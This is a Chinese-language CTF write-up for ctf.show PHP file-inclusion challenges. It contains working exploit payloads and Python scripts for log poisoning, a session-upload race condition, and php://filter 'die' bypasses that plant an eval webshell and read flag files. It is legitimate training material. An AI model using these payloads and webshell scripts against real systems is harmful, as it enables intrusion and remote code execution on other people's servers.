前言
记录web的题目wp,慢慢变强,铸剑。
文件包含
web78
1 2 3 4 5 6
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; include ($file); }else { highlight_file(__FILE__ ); }
开始文件包含的题型,无过滤
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码 ,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
1
file=php://filter/convert.base64-encode/resource=flag.php
在base64解码
web79
这次多了个替换,将php替换成???,但是不碍事,用data伪协议
payload
web80
这题换input伪协议,他的php可以换成大小写混用
payload
1 2 3 4
/?file=Php://input <?php echo `ls`?>
web81
1 2 3 4 5 6 7 8 9
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); include ($file); }else { highlight_file(__FILE__ ); }
这次把协议都禁了,我看到他是nginx的容器,直接包含日志拿shell
payload
1 2 3
?file=/var /log/nginx/access.log&1 =echo `tac fl0g.php`; User-Agent: <?php eval ($_GET[1 ]);?>
写个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
import requestsimport timeurl = "http://78c93547-1796-472d-b2e0-fe2f5e8413a5.challenge.ctf.show:8080/" +"?file=/var/log/nginx/access.log" headers = { 'User-Agent' : '<?php eval($_REQUEST[1]);?>' } data = { '1' :'system("cat fl0g.php");' } res = requests.get(url=url, headers=headers) result = requests.get(url=url, params=data) print(result.text)
web82
1 2 3 4 5 6 7 8 9 10
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); include ($file); }else { highlight_file(__FILE__ ); }
首先我们需要了解一些基础知识
1 2 3 4 5 6
1. session.upload_progress.enabled = on 2. session.upload_progress.cleanup = on 3. session.upload_progress.prefix = "upload_progress_" 4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" 5. session.upload_progress.freq = "1%" 6. session.upload_progress.min_freq = "1"
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name
将表示为session中的键名
由于上传进度可通过PHP_SESSION_UPLOAD_PROGRESS来控制,所以就意味着可以控制存储在session当中的内容
利用session.upload_progress进行文件包含利用
可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress
将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。
分析
问题一
代码里没有session_start()
,如何创建session文件呢。
解答一
其实,如果session.auto_start=On
,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO ,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO ”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。
问题二
但是问题来了,默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,
如何进行rce呢?
解答二
此时我们可以利用竞争,在session文件内容清空前进行包含利用。
写个py跑脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
import ioimport requestsimport threadingurl = 'http://88e0abdd-53f8-4706-9b44-9b8810b5697c.challenge.ctf.show:8080/' sessionid = "gylq" payload = "<?php file_put_contents('shell.php','<?php eval($_REQUEST[1]);?>');?>" def read (session) : while event.isSet(): url_include=url+'?file=/tmp/sess_' +sessionid res = requests.post(url_include) if sessionid in res.text: print(session.post(url+"shell.php?1=system('cat f*.*');" ).text) event.clear() else : print('[*]retry' ) def write (session) : while True : data = { 'PHP_SESSION_UPLOAD_PROGRESS' : payload+sessionid } cookies = { 'PHPSESSID' : sessionid } files = { 'file' : ('gylq.txt' ,io.BytesIO(b'success' )) } res = session.post(url=url,data=data,cookies=cookies,files=files) if __name__ == '__main__' : event=threading.Event() event.set() with requests.session() as session: for i in range(30 ): threading.Thread(target=write,args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start()
web83
多了session销毁,但是不影响,继续上一个脚本撸
web84
多了个删除rm -rf /tmp/*,但是不影响
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
import ioimport requestsimport threadingurl = 'http://ace68431-996e-4147-a9c7-f59ffd12d3c8.challenge.ctf.show:8080/' sessionid = "gylq" payload = "<?php file_put_contents('shell.php','<?php eval($_REQUEST[1]);?>');?>" def read (session) : while True : url_include=url+'?file=/tmp/sess_' +sessionid res = requests.post(url_include) if sessionid in res.text: print(session.post(url+"shell.php?1=system('cat f*.*');" ).text) event.clear() else : print('[*]retry' ) def write (session) : while True : data = { 'PHP_SESSION_UPLOAD_PROGRESS' : payload+sessionid } cookies = { 'PHPSESSID' : sessionid } files = { 'file' : ('gylq.txt' ,io.BytesIO(b'success' )) } res = session.post(url=url,data=data,cookies=cookies,files=files) if __name__ == '__main__' : event=threading.Event() event.set() with requests.session() as session: for i in range(30 ): threading.Thread(target=write,args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start()
web85
这次加了个判断/tmp/sess_gylq中是否包含<否则就报错,但是我们线程足够高,条件竞争可以强行绕过,继续跑
web86
继续上个脚本跑
web87
1 2 3 4 5 6 7 8
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $content = $_POST['content' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>" .$content);
这题换成了file_put_contents了
我们来了解一些基础知识
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input");
使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。
1 2 3
$filename=$_GET['filename' ]; $content =$_POST['content' ]; file_put_contents(urldecode($filename),"<?php die();" .$content);
分析了下,$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?
幸运的是,这里$filename
是可以控制协议的,我们可以使用php://filter协议来解决这个问题使用php://filter流的base64-decode方法,将$content
解码,利用php base64_decode函数特性去除“死亡exit”。
众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
一个正常的base64_decode可以理解为
1 2 3
<?php $_GET['txt' ] = preg_replace('|[^a-z0-9A-Z+/]|s' , '' , $_GET['txt' ]); base64_decode($_GET['txt' ]);
所以,当$content被加上了<?php exit;?>
,我们就可以使用php://filter/write=convert.base64-decode
对其解码,在解码的过程中字符<、?、;、>、空格等字符不符合base64编码的字符范围将被忽略,所以最终字符仅有”phpdie”六个字符
“phpdie”一共六个字符因为base64算法解码时是4个byte一组,所以给他增加2个‘a’一共8个字符,这样,“phpdieaa”才能被正常解码,则后面我们传入的webshell的base64编码内容也能被正常解码
GET传入?filename=php://filter/convert.base64-decode/resource=simple.php
再post传入content=aaPHBocCBldmFsKCRfUkVRVUVTVFsxXSk7Pz4=
生成如下图所示
由于这题源码过滤了php,但是他又写了个urldecode,所以我们可以通过双重url解密来bypass
这回我们写一个shell.php
payload
1 2 3
?file=php://filter/convert.base64-decode/resource=shell.php(要两次url编码) content=aaPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4=
这样就可以绕过执行webshell了
了解原理了,也知道如何手工,再写个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsurl = 'http://f2944b00-e1d4-4739-b83d-55854d7d3714.challenge.ctf.show:8080/' url_encode='%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2573%2568%2565%256c%256c%252e%2570%2568%2570' get_url = url + '?file=' + url_encode data= { 'content' :'aaPD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==' } res = requests.post(get_url,data=data) cmd_url = url+'shell.php' data= { 'cmd' :'system("cat fl0g.php");' } res = requests.post(cmd_url,data=data) if res.status_code == 200 : print("[*]getshell in shell.php" ) print(res.text)
web88
分析源码,发现data没过滤,直接伪协议,base64编码shell,payload
web116
通过下载视频,然后010editor可以看到里面有张图,提取出来发现源码是一个文件包含
虽然过滤了很多,但是file_get_contents是可以直接获取源码的。
payload
web117
1 2 3 4 5 6 7 8 9 10 11
highlight_file(__FILE__ ); error_reporting(0 ); function filter ($x) { if (preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x)){ die ('too young too simple sometimes naive!' ); } } $file=$_GET['file' ]; $contents=$_POST['contents' ]; filter($file); file_put_contents($file, "<?php die();?>" .$contents);
还是绕死亡die,这回禁了base64和rot13,可以换其他的方法
convert.iconv.: 一种过滤器,和使用iconv()函数处理流数据有等同作用
iconv ( string $in_charset , string $out_charset , string $str )
:将字符串$str
从in_charset
编码转换到$out_charset
这里引入ucs-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
查看编码的传送门
1 2 3 4 5 6 7
$result = iconv("UCS-2LE" , "UCS-2BE" , '<?php eval($_REQUEST[1])?>' ); echo "第一次反转" .$result;echo "第二次反转" .iconv("UCS-2LE" , "UCS-2BE" , $result);输出结果(注意payload得是偶数) 第一次反转?<hp pvela$(R_QEEUTS1[)]>? 第二次反转<?php eval ($_REQUEST[1 ])?>
可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>
一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行
exp修改一下之前的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
import requestsurl = 'http://387089aa-8506-46c5-a270-0b9298f73b2d.challenge.ctf.show:8080/' payload_get='php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php' get_url = url + '?file=' + payload_get data= { 'contents' :'?<hp pvela$(R_QEEUTS1[)]>?' } res = requests.post(get_url,data=data) cmd_url = url+'shell.php' data= { '1' :'system("cat flag.php");' } res = requests.post(cmd_url,data=data) if res.status_code == 200 : print("[*]getshell in shell.php" ) print(res.text)
FROM:gylq.gitee Author:孤桜懶契
评论